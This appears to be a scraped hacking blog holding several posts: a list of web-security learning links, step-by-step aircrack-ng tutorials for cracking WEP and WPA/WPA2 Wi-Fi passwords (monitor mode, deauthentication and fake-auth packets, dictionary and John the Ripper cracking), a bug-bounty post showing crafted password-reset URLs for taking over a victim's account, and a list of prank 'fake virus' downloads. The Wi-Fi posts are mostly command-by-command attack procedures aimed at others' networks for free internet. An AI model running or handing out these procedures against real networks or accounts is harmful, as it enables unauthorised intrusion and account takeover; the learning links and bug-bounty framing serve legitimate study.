.:: Dark Site ::.

Learning Security Testing : For Beginners

Hi friends,its been long time since i have't posted some thing so here is some thing that will help you for sure.There are many people out there/students who ask me lot of time i want to learn this security stuff from where i should start. 
 
again let me clearly tell you this web site contains many link pick any one that will be help full to you.now i am making some structured urls from which you can easily learn many things .remember these are all for technical purpose only :). 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz4qjw9odYn-k6lOCSsH_g0v9c8Nc0Vhe8l7-6tZumiI1rkrzhiJjZVTHlFjgQL4tXcWkTAcQaIeJ326-xadfadlDLmoQ4NaeVof6Z8Yqf3za_HcZM9Imf8lLTtlCRF1pDer22964r0bXn/s1600/Beginner.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz4qjw9odYn-k6lOCSsH_g0v9c8Nc0Vhe8l7-6tZumiI1rkrzhiJjZVTHlFjgQL4tXcWkTAcQaIeJ326-xadfadlDLmoQ4NaeVof6Z8Yqf3za_HcZM9Imf8lLTtlCRF1pDer22964r0bXn/s320/Beginner.jpg" /></a> 
so here we go for Web application security part. 
Learn the fundamental/primary attacks. 
 
-XSS(cross site scripting ) 
 
<li>Beginners tutorial on XSS :<a href="http://excess-xss.com/">See this link</a> 
<li>Google XSS learning Tutorials: <a href="https://www.google.com/about/appsecurity/learning/xss/">See this link</a> 
<li>Advance attacks bypass XSS Filters/IDS:<a href="https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf">See this book</a> 
 
-CSRF(Cross Site request Forgery) 
 
Many beginner find this slight difficult to understand so here below link for simple explanation. 
<li>How to find CSRF and Preventing <a href="http://blackhat.com/presentations/bh-usa-06/BH-US-06-Gallagher.pdf">Download this book</a> 
<li>exploiting/attacking with CSRF Vulnerability <a href="http://tipstrickshack.blogspot.com/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html">See this link</a> 
 
 
-SQL Injection 
 
<li>Introduction to SQL Injection error based sqli: <a href="https://prakharprasad.com/introduction-to-sql-injection-and-exploitation-mysql-5-error-based/">See this link</a> 
<li>MSSQL Injection Complete Tutorial- <a href="https://www.exploit-db.com/papers/12975/">See this link</a> 
<li>Everything you wanted to know about SQL injection - <a href="http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-sql.html">See this link</a> 
 
 
Remote Code/Command Execution 
 
<li>How to find RCE in scripts (with examples)- <a href="https://www.exploit-db.com/papers/12885/">See this link</a> 
<li>Yahoo vulnerability LFI Converted to RCE (patched)- <a href="https://soroush.secproject.com/blog/2013/10/yahoo-bug-bounty-program-lfi-reported-and-patched/">See this link</a> 
<li>Remote Code Execution in Elasticsearch - CVE-2015-1427 Deep research <a href="http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/">See this link</a> 
 
XML external entity attack 
 
<li>How to detect XXE - <a href="http://www.christian-schneider.net/GenericXxeDetection.html">See this link</a> 
<li>XML Out-Of-Band Data Retrieval research Black Hat 2013 - <a href="https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf">Download PDF</a> 
<li>SSRF vs. Business-critical applications: XXE tunneling in SAP - <a href="https://erpscan.com/wp-content/uploads/publications/SSRF-vs-Businness-critical-applications-final-edit.pdf">Download PDF</a> 
<li>What you didn’t know about XXE -<a href="http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf"> Download PDF</a> 
 
Other few popular attacks on web application 
 
<li>Server side request forgery Attacks - <a href="http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities">Slides</a> 
<li>Cross Site Port Attacks - <a href="http://ibreak.software/2013/05/10/xspa-ssrf-bug-with-facebooks-developer-web-application/">BY Riyaz</a> 
<li>Hunting for Top Bounties - <a href="https://www.youtube.com/watch?v=mQjTgDuLsp4">YouTube link</a> 
<li>How to steal and modify data using Business Logic flaws - <a href="http://www.slideshare.net/fransrosen/how-to-steal-and-modify-data-using-business-logic-flaws-insecure-direct-object-references">Slides Security for developers</a> 
<li>Exploiting CVE-2011-2461 on google.com - <a href="http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html">See the link</a> 
<li><a href="https://pentesterlab.com/exercises/">PentesterLab</a> - - PentesterLab provides vulnerable systems that can be used to test and understand vulnerabilities. (thanks @n0x00) 
<li>InjectX to find XSS - <a href="https://forum.bugcrowd.com/t/tutorial-injectx-to-find-xss/790">See the link</a> thanks @1N3 
 
Of Course there exist bugs in mobile application too so if you are interested on that you will definitely find the link more likable 
 
Android Security learning 
 
<li>Debugging Java Applications Using JDB - <a href="http://www.androidpentesting.com/2014/12/debugging-java-applications-using-jdb.html">See the link to learn</a> 
<li>Learn android security testing - <a href="http://resources.infosecinstitute.com/author/srinivas/">From Srinivas</a> 
 
iOS application testing 
 
<li>Setting Up a Mobile Pentesting Platform - <a href="http://resources.infosecinstitute.com/ios-application-security-part-1-setting-up-a-mobile-pentesting-platform/">Infosec Link</a> 
<li>iOS Application Security -<a href="http://highaltitudehacks.com/">By Prateek Gianchandani</a> 
 
For Advance security researchers you can follow the<a href="https://www.vulnhub.com/"> VULNHUB </a> It s grate source of learning. 
 
Another important website for learning is infosecinstitute that is great place for all type of learner. 
<a href="http://resources.infosecinstitute.com/articles/">Security Articles</a> 
<a href="http://resources.infosecinstitute.com/ebooks/">Security ebook</a> 
<a href="http://resources.infosecinstitute.com/labs/">Lab For practice </a> 
 
Please do comment if you have more useful link and thanks have a nice day keep learning :)

Learning Security Testing : For Beginners

Hi friends,its been long time since i have't posted some thing so here is some thing that will help you for sure.There are many people o...

Cracking WPA/WPA2 Password Protected WiFi Network

Hi all today we are going to discuss how we can crack wpa/wpa2 password protected wifi network and this time i am going to use a dictionary to do it on my next tutorial i will try to show you how even we can crack without dictionary . 
so lets talk about wpa/wpa2 protected network as in our previous tutorial(<a href="http://www.darksite.co.in/2014/05/cracking-wep-protected-wifi-network-in.html">Cracking WEP easy way</a>) you must have seen we were able to crack wep network and utilizing the same technique you can crack any wep network so people says WEP is very weak and yes its weak so to over come that another wifi encryption is introduced which is known as Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) now WPA is said to be more advance than wep and safer how ever as i said we can still hack it how to do it follow the below tutorial step wise. 
 
At first check your back track machine is having its wifi drive ready to know more you can see our previous tutorial. 
type ifconfig on terminal on backtrack or kali. 
<h3>same procedure applied for cracking wpa2 protected wifi network</h3> 
now start youe wlan0 interface on monitor mode which can be easily done with airmon-ng start wlan0 this command 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7_fSeTl2zZB2aOiiblfPlORHL2NVrWXbtWd1lTqzQaLZtGegENFeIp07rK0azEZW_t2mwDdElQ9RTgAh-1Y1yVfutAvdqKzMKneE2dl6IGrbI5DxIZBzeYOpfCCu82LgV-VneclWaSdon/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7_fSeTl2zZB2aOiiblfPlORHL2NVrWXbtWd1lTqzQaLZtGegENFeIp07rK0azEZW_t2mwDdElQ9RTgAh-1Y1yVfutAvdqKzMKneE2dl6IGrbI5DxIZBzeYOpfCCu82LgV-VneclWaSdon/s520/1.png" /></a></div> 
now to see the wifi data packets those are available around you using monitor interface (mon0) .simply type airodump-ng mon0.and it will display the packet available around you. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipcHxOh4Q8l5kbuXwGnG11rL3kywAr9FSkpa7FfVR5g6EY-ZBJIqqmZ8g06fQWGmF-IXnmxlTFoMnDtxYxBNcHEfoGOkpe3hTwy9VC9nk1aDFqFI-kldUiIiDcRD2S6EFRuk4Bolpkw9Ud/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipcHxOh4Q8l5kbuXwGnG11rL3kywAr9FSkpa7FfVR5g6EY-ZBJIqqmZ8g06fQWGmF-IXnmxlTFoMnDtxYxBNcHEfoGOkpe3hTwy9VC9nk1aDFqFI-kldUiIiDcRD2S6EFRuk4Bolpkw9Ud/s520/2.png" width="520" /></a></div> 
now as you can see here is a wpa protected network available around us known as hackers on channel 11.now lets hack the hackers .bring your mon0 inteface mon0 to channel 11 which can be easily done with iwconfig mon0 channel 11 
now write the data packet into a file which we will utilize for cracking later . 
command is again simple old one airodump-ng channel 11(channel number) mon0(interface) --write crackingwpa --bssid (device bssid) 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZR_8mpMnFCX1lJfomWpohhlRxVQvA9VUsseE3eCNaZp0n32IvlC6EAJYOJjG70K9i21-Yudb5OG2UXEWD47DE4e1ZBYRojcQQ_y94SXWNYUErdF66gevJXn3iz1bDrhlypvHpQz4WU1VQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZR_8mpMnFCX1lJfomWpohhlRxVQvA9VUsseE3eCNaZp0n32IvlC6EAJYOJjG70K9i21-Yudb5OG2UXEWD47DE4e1ZBYRojcQQ_y94SXWNYUErdF66gevJXn3iz1bDrhlypvHpQz4WU1VQ/s520/3.png" width="570" /></a></div> 
now to be able to crack the wpa we need a handshake data packet which can be generated by sending out deauth packet from your interface .now you can broadcast a deauth packet or you can disconnect a specific client and get the hand shake done. 
so we will be broadcasting the deauth packet and then stop it in-order to get the handshake done and capture the handshake, 
command to do that is aireplay-ng --deauth 0 -e hackers mon0after sending some deauth stop and re allow to get the handshake, 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zOYwvoHiixgdoarB1ukIW-v-JDMHYiZXRt2Q4UmG5yLWsCieTU_XotSW9WJoo6r7HqJZrlLp95FKMrEMapIww03Q3IvaeuDE9L2gRb-V8rI7JmTT4d1AOID1cdVgPVXP2YaIOamy_ImY/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zOYwvoHiixgdoarB1ukIW-v-JDMHYiZXRt2Q4UmG5yLWsCieTU_XotSW9WJoo6r7HqJZrlLp95FKMrEMapIww03Q3IvaeuDE9L2gRb-V8rI7JmTT4d1AOID1cdVgPVXP2YaIOamy_ImY/s520/4.png" width="520" /></a></div>now as soon as you stop broadcasting the deauth packet you will get a handshake done :) which will lead to make cracking possible. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQL24s3XcHsprjun0KOc2Ltvoz81PEHVQyFELpP_ccvDK8oOtmQ2cGnDaX0IhlpY-h5a_-RdMXJelnU1vMF0rqaUkg6rqH36BiLQ7w0ccgWbLNXjcxFY2CaqzL3pRAmNp7PKA_Exn-SKb/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQL24s3XcHsprjun0KOc2Ltvoz81PEHVQyFELpP_ccvDK8oOtmQ2cGnDaX0IhlpY-h5a_-RdMXJelnU1vMF0rqaUkg6rqH36BiLQ7w0ccgWbLNXjcxFY2CaqzL3pRAmNp7PKA_Exn-SKb/s720/5.png" width="520" /></a></div>so finally after getting the hand shake all you have to do is use aircrack to crack the password from pasword dictionary list. 
now its all depends on number of password possible list for your easy shake i am giving a password list which contain 10K very possible password list.<a href="https://raw.githubusercontent.com/discourse/discourse/master/lib/common_passwords/10k-common-passwords.txt">download best 10K password </a> save this as password.lst and save indie root folder of aircrack then simple run this command 
 
aircrack-ng -w password.lst crackingwpa-01.cap 
and yes you will be successfully able crack the password now . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitTIV_p0OgazSDXhuqTYIi1-eXrwv9rr86GeAZERyyIyERIKA6BRQKL6wseqb_lfoeHYMaejOb75Mp1mUAPgTsBwamWsyX18BmpS77xN8Wzy_9tFroqHyrE_6gkiC520VoUeCMjbDNBxnt/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitTIV_p0OgazSDXhuqTYIi1-eXrwv9rr86GeAZERyyIyERIKA6BRQKL6wseqb_lfoeHYMaejOb75Mp1mUAPgTsBwamWsyX18BmpS77xN8Wzy_9tFroqHyrE_6gkiC520VoUeCMjbDNBxnt/s620/6.png" width="520" /></a></div>yuppi you can connect to that wifi now and password is 12344321 :). 
Now if the password contains (A-Z,a-z,0-9,*#$% symbol in other word complex enough )then you need to have strong password list . 
also you can do the cracking using john the ripper which might take take 1-2 day or even more but you have to be more patient there.go to terminal and type this to crack using john ripper 
./john –stdout –incremental:all | aircrack-ng -b 00:11:22:33:44:55 -w – /root/crackingwpa-01.cap 
 
next time i will posting about how we can carck wpa/wap2 without using dictionary thanks keep visiting :).

Cracking WPA/WPA2 Password Protected WiFi Network

Hi all today we are going to discuss how we can crack wpa/wpa2 password protected wifi network and this time i am going to use a dictionary ...

Cracking WEP Protected WIFI Network In Easy Way

Hi all After a long day back to another exciting post so this time we are going to learn how to crack wep protected wifi network . 
WEP Protected wifi network are not very strong in nature it can be easily be broken by any guy who has good idea on wifi things,so lets go directly into the tutorial it self i am not going to make you boar with old theory. 
 
first of all we need a back track machine you can easily make it live boot using pendrive,DVD after entering into the backtrack /kali terminal look for your network card status if it is up and running you can easily know by typing ifconfig on terminal. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTpSHEVAlPsSboANqiLK3PP6Rh00rXXVKjcRlQVpeeCMk0kvZjnbiixhHMhxG1phTDNlN_CmOXtCkBTURxtL2hh_7KmshKCI9wUo2a444_6CSm6MJsUnOAfjrJ881wRq_utMnHuXw7bpRd/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTpSHEVAlPsSboANqiLK3PP6Rh00rXXVKjcRlQVpeeCMk0kvZjnbiixhHMhxG1phTDNlN_CmOXtCkBTURxtL2hh_7KmshKCI9wUo2a444_6CSm6MJsUnOAfjrJ881wRq_utMnHuXw7bpRd/s650/1.png" width="550" /></a></div>Now make you laptop device wireless n/w that is wlan0 in monitor mode (this mode enable you to see/capture the data packet that are floating on air ) 
Command to do that is : airmon-ng start wlan0 this will create mon0 interface for monitor mode 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzbwPXPoIajNJsE9HQ4u4XlLfTdeq6gRcqPSbgcb3bdcaovlEnBJfpX5TTkQ6y3o08sdtbtd91D38lvOEt2rXIiGSiSFjUFoaORHKZCFDIKU7pccTNcR-YysgNhfWKt02MtKwhxqtHA8LV/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzbwPXPoIajNJsE9HQ4u4XlLfTdeq6gRcqPSbgcb3bdcaovlEnBJfpX5TTkQ6y3o08sdtbtd91D38lvOEt2rXIiGSiSFjUFoaORHKZCFDIKU7pccTNcR-YysgNhfWKt02MtKwhxqtHA8LV/s520/2.png" width="550" /></a></div>now to see the data packet those are available on air using mon0 interface the command is 
airodump-ng mon0 this will give you all packets those are available around you . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomJHTbLXZHkr6QUywOaoeAtIxCcTju9dLdDbs0qVZMMRGgQt4ONytDM95FZ7JLRck6AQhi5NU0O2hvkI4IZYrWVfNHSgHPZI7ahWhWKR20a-jh4TVlUw1Lp3I5h_lB23-mV9KsqIw5e9C/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomJHTbLXZHkr6QUywOaoeAtIxCcTju9dLdDbs0qVZMMRGgQt4ONytDM95FZ7JLRck6AQhi5NU0O2hvkI4IZYrWVfNHSgHPZI7ahWhWKR20a-jh4TVlUw1Lp3I5h_lB23-mV9KsqIw5e9C/s420/3.png" width="550" /></a></div>So as we can see MGMNT is wep on channel 11 protected and we want to hack it/ break the key so lets do it. 
you can set you mon0 on that specific channel so to do that you can use these command 
iwconfig mon0 channel 11 (this is needed as our wifi interface can do better communication over same channel ) 
next write all the packet into a file which we will utilize for cracking 
airodump-ng --channel (channel numbe here its)11 (interface)mon0 --write name(anyname) --bssid bssid(Access point you want to hack bssid). 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf6g41cvnJzlT8PNub3GmaJmvY_0FkHS4W5DJGcBVbK-WTVcRBDq1Rz8AWvUIjRDGLJokgW2un_czktaZqiP_CPI6Q3Cwo60uvUGI1GrdvVMVKENPN1iyGa0nm93O9fG3CbcYSgTb1mubp/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf6g41cvnJzlT8PNub3GmaJmvY_0FkHS4W5DJGcBVbK-WTVcRBDq1Rz8AWvUIjRDGLJokgW2un_czktaZqiP_CPI6Q3Cwo60uvUGI1GrdvVMVKENPN1iyGa0nm93O9fG3CbcYSgTb1mubp/s420/4.png" width="550" /></a></div>After that is done you have to populate data packet from that Access point which can be done using arpreplay 
command will be aireplay-ng --arpreplay -e MGMNT mon0 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivuT17VFIDAhIE66t1x3U7owRKmi5RLTROExE8Yhx5M1YRQG5xt4gXxtlyX4GASx1jvwVWWEEQNOfDRiF2xDqkCLQsqccA6UorV1rt8rfYiqqiuSDAWThh1AXRLf1XoHrX84IXNu6DfRxk/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivuT17VFIDAhIE66t1x3U7owRKmi5RLTROExE8Yhx5M1YRQG5xt4gXxtlyX4GASx1jvwVWWEEQNOfDRiF2xDqkCLQsqccA6UorV1rt8rfYiqqiuSDAWThh1AXRLf1XoHrX84IXNu6DfRxk/s420/6.png" width="550" /></a></div>now next point how do we get arp pakcet to do the replay action that can easily be done using an deauth packet or showing a fake connection (if no devices are connected to that access point) 
Deauth (open a new terminal type ) arpreplay-ng --deauth 0 -e MGMNT mon0 
other wise you can show fake auth (if no devices are connected to access point ) 
arpreplay-ng --fakeauth 0 -e MGMNT mon0 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoBy3xkLHeVZ2DIzkk934c_gfElM3bD0EBUEjLgSyaRJDre77_7Vco0mqzA8e8Ee5ataxL0ZPutfgaYsHtNvBMA07JfYHp3GXfbwhBuXUKPjXXpHF3gYKo5QaiTNZZw_IAbVDBH850cXi/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoBy3xkLHeVZ2DIzkk934c_gfElM3bD0EBUEjLgSyaRJDre77_7Vco0mqzA8e8Ee5ataxL0ZPutfgaYsHtNvBMA07JfYHp3GXfbwhBuXUKPjXXpHF3gYKo5QaiTNZZw_IAbVDBH850cXi/s420/5.png" width="550" /></a></div>once any client connect to access point MGMNT your arp replay will start showing you action by pumping numerous data packet . 
so finally after collecting more that 22K data packet that is enough to crack any wep encryption (coz of weak IV if you wann know technical details you can as me mail or chat) ..using aircrack again the command is simple 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXYNsXY5-oblHrAHf2757AFaCLtuduxDQ6BIia3ypqvlP_rPFFFntsao5xjPMB9McXa-LQYFRW4R7BurTLxVN2tN68nm3CurYme6P6J5sZCbJMzxNTE2Utk2-xLRFGLxC6rYT5wvdDW-ka/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXYNsXY5-oblHrAHf2757AFaCLtuduxDQ6BIia3ypqvlP_rPFFFntsao5xjPMB9McXa-LQYFRW4R7BurTLxVN2tN68nm3CurYme6P6J5sZCbJMzxNTE2Utk2-xLRFGLxC6rYT5wvdDW-ka/s420/7.png" width="550" /></a></div>aircrack-ng filename-01.cap 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO7T6_71tWLuSGUH2g8Y5KA8eVsXNiDee4IilrI4NJX0xoAz9BfPNvO_PC31xxiNXS8X1GEwJUweY9Y2uSzY515KVSxau0SqsrSvnaUZVzi-LryhuJZdIC_7bEuZvA5_OpJXK5uo5Zi9hL/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO7T6_71tWLuSGUH2g8Y5KA8eVsXNiDee4IilrI4NJX0xoAz9BfPNvO_PC31xxiNXS8X1GEwJUweY9Y2uSzY515KVSxau0SqsrSvnaUZVzi-LryhuJZdIC_7bEuZvA5_OpJXK5uo5Zi9hL/s620/8.png" width="550" /></a></div>that will display your cracked key which you can use later to connect to that access point and then have free fun internet :). 
do comments your query if you stuck any where we are happy to help you and thanks

Cracking WEP Protected WIFI Network In Easy Way

Hi all After a long day back to another exciting post so this time we are going to learn how to crack wep protected wifi network . WEP Prot...

Password Reset Vulnerability For Bug Hunters

Hi All after a long time i decided to post something on bug bounty as many people are getting much interested into it . 
so we are going to make a small discuss on how this Password Reset vulnerability may lead you to earn $$$ :) .All these methods are founded on many sites also good tricks that you can try during your bug bounty . 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJlFar3ft1Pt_aIbsGD3Q9ddSdsWmsp6qhmkiqX_kynBh9d8Pa_wNhf5crw57dRzRs7f6bkG6OdzEzZpE8S5J9iluIqTxLwUCIuEbOBa1mA4FlOGXYcSqFiTxxreNLb3AlAEJpGoNKcw4j/s1600/Bug-bounty-vulnerability-disclosure.jpg"> 
<img height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJlFar3ft1Pt_aIbsGD3Q9ddSdsWmsp6qhmkiqX_kynBh9d8Pa_wNhf5crw57dRzRs7f6bkG6OdzEzZpE8S5J9iluIqTxLwUCIuEbOBa1mA4FlOGXYcSqFiTxxreNLb3AlAEJpGoNKcw4j/s900/Bug-bounty-vulnerability-disclosure.jpg" width="420" /> 
</a> 
Password Reset Vulnerability For Bug Hunters 
</div>Most of the site where there is a sign-in button then there must be an option for forgot password as of course human can forgot password :P. 
 
as you click on forgot password button you will be asked for registered email id to which a link will be sent for password reset. 
here you can try the normal XSS,CSRF...etc attack so i won't be discussing that i will talk about something different . 
 
so when you submit the request (Email id + cpacha may be) then you will get a mail containing a url like click here to reset/change password. 
 
there are multiple kinda of url you may get i will discuss few of them. 
 
Case 1: Vulnerability on url with a token email id or username 
 
https://site.com/members/resetpassword/username=xyz&emailid=abc@def@pqr.com&token=xsdf.234sdfdssd323 
 
So here you can see the user name and email id are in the url itself in some case you will get username/email id both encrypted. 
there you can try get the encoding (mostly it will be either base 64 or md5 ).then you can try replace the email id and username with your desired email id/username (encrypted/ un-encrypted )if that work then congo!! you have your bounty on your pocket as some time server accept the dynamic created token and check for the registed email id-user name at database end and says enter new password which ended up giving you $$$ . 
 
but some time your luck not that good and design of application is strong enough to check for dynamic token with mapped user. 
 
Case 2: Vulnerability in reference 
 
https://site.com/members/resetpassword/username=xyz&emailid=abc@def@pqr.com&token=xsdf.234sdfdssd323 
 
This is quite interesting when ever you clicked on link like this and intercept the request on your browser (burpsuite or any proxy tool) you will see some thing like this 
 
GET /xyz HTTP/1.1 
Host: abcd.com 
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: pl,en-us;q=0.7,en;q=0.3 
Accept-Encoding: gzip, deflate 
Referer: https://site.com/users/password/edit?reset_password_token=HERE_IS_THE_VALUE_OF_RESET_PASSWORD_TOKEN 
Connection: keep-alive 
 
Then you can say report this as a security issue as an minimum information disclosure. 
 
n few cases you will find 
 
Referer: https://site.com/users/password/edit?mail=admin@abc.com&password=token&action=reset 
 
that some email id or admin or superuser name/ email id there also you can say it to security issue and get $$$ on your pocket. 
 
Case 3: Poor Encryption Breaking (Thanks To Ajay Sing Negi For sharing this) 
 
If you get a link like this 
 
https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/ 
 
After clicking on this type of link you will get into a page where email filed with attacker@gmail.com email id and the 2 blank field to change the password. 
 
Now while submitting request you can easily change the email id to victim mail id (can use proxy tool like burp suite )and change the password so if the validation is not there and if you have luck then you will end up resetting any victim password on that website and get a good bounty out of it. 
 
Case 4: Analyzing password Reset Vulnerability 
 
(again a good finding by Ajay singh negi) 
 
So what if you get a link like this. 
 
Attackers Email ID: attackeremailid@gmail.com and his password reset link: 
 
http://testsite.com/reset-password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t2102fadb4bd021805624f06ea4c8e4d38 
 
Here as you can guess there are some md5 encryption is there. on quick analyzing you can see 1st part in the password reset Url before '/' is password reset token and the second part is the md5 hash of the users email id in which the 1st 28 values (74q55426l4q5u5m5c4s5l5m5n5t2) are same for each users email ids and the remaining last values were different for each users email id as they were the users email id md5 hash value. So, the attacker can decrypt the email hash values easily using the online available md5 encrypters and decrypters like: http://md5decryption.com also sometimes some websites use base 64 encoding(or other encodings) which can also be easily decrypted using the online available base64 encoders and decoders like: http://ostermiller.org/calc/encode.html. 
 
 
Attackers Email ID: attackeremailid@gmail.com md5 hash value: 
102fadb4bd021805624f06ea4c8e4d38 
 
 
Victims Email ID: victimemailid@gmail.com md5 hash value: 
05ebb8fb6ec39f50d33e19cd5719084d 
 
 
1st 28 values which is same for each users email id hash: 
74q55426l4q5u5m5c4s5l5m5n5t2 
 
 
Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com: 
 
http://testsite.com/reset- 
password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t205ebb8fb6ec39f50d33e19cd5719084d 
 
So in this way the attacker can Takeover on any users account.So if you find these kind of issue then you have money $$$ on your bank. 
 
So these are some common wayz of detecting Vulnerability that is typically found on password reset function. 
Also DO look out for click-jacking,CSRf,URL Redirection after password reset...etc IN password reset (even look out for log in / log out / automatically logged in after clicking the password recovery link also have a good impact ) to built the exploit scenario better and get more $$ Hope you like this please do leave a comment if you want some post like this which will help you in finding Bug-Bounty.

Password Reset Vulnerability For Bug Hunters

Hi All after a long time i decided to post something on bug bounty as many people are getting much interested into it . so we are going to ...

Computer Fake Viruses to Play Pranks On April Fool Day On Friends Pc

Hi all in India we do play lots of pranks with our friends on 1st that is popularly known as April fool day :D. 
Also its Special In Odisha As people celebrate this day as "Utkala Divas" (ଓଡ଼ିଶା ଦିବସ or Odisha Day). 
So Here are some top application that you can play pranks on friends Pc specially i tried with girls pc they will scare the hell out of you :D. 
 
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqeEp0Ao15VTEdk6rQnjBejL4_UUycmjeunDmohFymDiKOkDlVsU0cSQKKaV1HaWeIgvtezjaplwEgg4aixg60n9xx234trIEdqH8Lep6Plr7yb96-6GkQWex22YHsFcviOFbYdoDeiyAc/s320/troian-virus-worm.jpg"> 
<img alt="Funny Virus on April fool day" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqeEp0Ao15VTEdk6rQnjBejL4_UUycmjeunDmohFymDiKOkDlVsU0cSQKKaV1HaWeIgvtezjaplwEgg4aixg60n9xx234trIEdqH8Lep6Plr7yb96-6GkQWex22YHsFcviOFbYdoDeiyAc/s720/troian-virus-worm.jpg" width="670" /> 
</a> 
 
1. Add / Remove - Add/Remove is a cool prank that makes it appear that all of your software on your computer is being removed using the Windows Add/Remove Program feature. This is so real, that it will shock the most of the experienced user. 
<a href="http://www.rjlpranks.com/download.cfm?d=2">Download here </a> 
2.2. Avoid – It makes your Windows Start button avoid any mouse clicks. Just launch this program exe and watch as your Start button jumps away from your mouse cursor whenever you try to click on it. 
<a href="http://www.rjlpranks.com/pranks/avoid/">Download Here</a> 
3. Bomb – It will run the program you want to run, then after a delay for 5 second, it will display the BOMB message. This will simulate that the program you just ran is bombed. 
<a href="http://www.rjlsoftware.com/software/entertainment/bomb/download.shtml">Download Bomb</a> 
4. Click Me – It will display a button on which you can never click with your mouse. 
<a href="http://www.rjlsoftware.com/software/entertainment/clickme/download.shtml">Download Click Me</a> 
